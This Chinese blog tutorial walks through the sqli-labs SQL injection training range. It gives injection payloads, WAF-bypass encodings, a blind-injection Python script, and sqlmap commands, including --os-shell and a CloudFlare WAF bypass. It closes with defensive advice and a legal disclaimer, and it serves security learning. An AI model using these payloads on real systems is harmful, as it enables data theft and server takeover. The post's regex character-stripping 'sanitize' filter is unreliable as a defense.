SQL注入实战指南:sqli-labs全关卡通关详解与技巧总结

SQL注入实战指南:sqli-labs全关卡通关详解与技巧总结

sqli-labs下载地址:
https://download.youkuaiyun.com/download/m0_53073183/90294459
sqli-labs通关手册:
https://download.youkuaiyun.com/download/m0_53073183/90424370

引言

SQL注入(SQL Injection)是Web安全领域的经典漏洞类型,长期占据OWASP Top 10榜单。对于想要入门渗透测试的学习者而言,sqli-labs是一个绝佳的实战靶场。本文将从环境搭建、基础注入原理到高阶技巧,手把手带你通关全部75+关卡,并分享独家解题思路!


一、环境搭建与准备工作

1.1 基础环境配置
  • 工具包:PHPStudy(Apache+MySQL)、Burp Suite、SQLMap、HackBar
  • 靶场下载:sqli-labs GitHub仓库
  • 配置关键点:
    /* 修改数据库密码 */
    ALTER USER 'root'@'localhost' IDENTIFIED BY 'root';
    FLUSH PRIVILEGES;
    
    若遇到关卡加载失败,检查php.ini是否开启allow_url_include模块
1.2 学习路线规划
  • 新手村:Less1-20(基础GET/POST注入)
  • 进阶区:Less21-45(Cookie注入、二次注入)
  • 高手营:Less46-65(盲注、堆叠注入)
  • 地狱模式:Less66+(WAF绕过、编码绕过)

二、核心注入类型通关解析

2.1 基础联合查询(Less1-4)

典型Payload

?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

技巧

  • 使用order by判断列数
  • null替代非回显位减少报错
  • 巧用limit逐条提取数据
2.2 报错注入(Less5-6)

关键函数

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

注意点

  • 数据截断问题:使用substr()分段获取
  • 避免特殊字符:使用hex()编码
2.3 布尔盲注(Less8-10)

自动化脚本示例

import requests

url = "http://localhost/Less-8/"
result = ""
for i in range(1,50):
    for char in "abcdefghijklmnopqrstuvwxyz":
        payload = f"?id=1' and substr(database(),{i},1)='{char}'--+"
        if "You are in" in requests.get(url+payload).text:
            result += char
            print(result)
            break
2.4 时间盲注(Less15)

特征判断

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+

工具推荐

  • SQLMap的--technique=T参数
  • 自定义延时判断脚本

三、高阶突破技巧

3.1 绕过WAF(Less25-26a)

经典绕过方式

/* 大小写混淆 */
?id=1' UniOn SeLeCt 1,2,3--+

/* 双重URL编码 */
%252f%252a*/UNION%252f%252a*/SELECT 1,2,3--+

/* 注释符污染 */
id=1'/*!UNION*/+/*!SELECT*/1,2,3--+
3.2 二次注入(Less24)

攻击流程

  1. 注册恶意用户名:admin'#
  2. 密码修改时触发:
    UPDATE users SET password='new_pass' WHERE username='admin'#' 
    
3.3 堆叠注入(Less38)

利用场景

?id=1';create table hacked(data varchar(100));--+

四、自动化工具实战

4.1 SQLMap高效用法
# 基础检测
sqlmap -u "http://localhost/Less-1/?id=1" --risk=3 --level=5

# 直接获取Shell
sqlmap -u [URL] --os-shell

# 绕过CloudFlare WAF
sqlmap -u [URL] --tamper=between,randomcase --delay=2
4.2 Burp Suite辅助测试
  • Intruder爆破数据库名
    设置Payload类型为Brute forcer,字符集选a-f,0-9
  • Decoder模块快速编码
    对Payload进行多重URL编码

五、防御方案建议

通过靶场练习后,需理解修复方案:

  1. 预编译语句(PHP示例):
    $stmt = $conn->prepare("SELECT * FROM users WHERE id=?");
    $stmt->bind_param("i", $id);
    
  2. 严格过滤规则
    def sanitize(input):
        return re.sub(r'[;\"\'()]', '', input)
    
  3. 错误信息屏蔽:关闭PHP的display_errors

结语

sqli-labs的通关只是SQL注入学习的起点,真实环境中的防御机制往往更加复杂。建议:

  1. 每个关卡尝试至少3种不同解法
  2. 阅读MySQL官方文档理解函数特性
  3. Hack The Box等平台继续实战

漏洞挖掘的本质是对数据流的极致追踪,祝你在安全之路上越走越远!


附录:速查表

关卡范围注入类型核心函数/技巧
1-4联合查询注入union select、information_schema
5-7报错注入updatexml、extractvalue
8-10布尔盲注length、substr、ascii
15-17时间盲注sleep、if、benchmark
24-26二次注入/WAF绕过注释符混淆、多重编码
38-45堆叠注入分号多语句执行

声明:本文仅用于技术交流,请遵守《网络安全法》相关规定,禁止非法渗透测试!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小彭爱学习

您的鼓励是我更新的最大动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值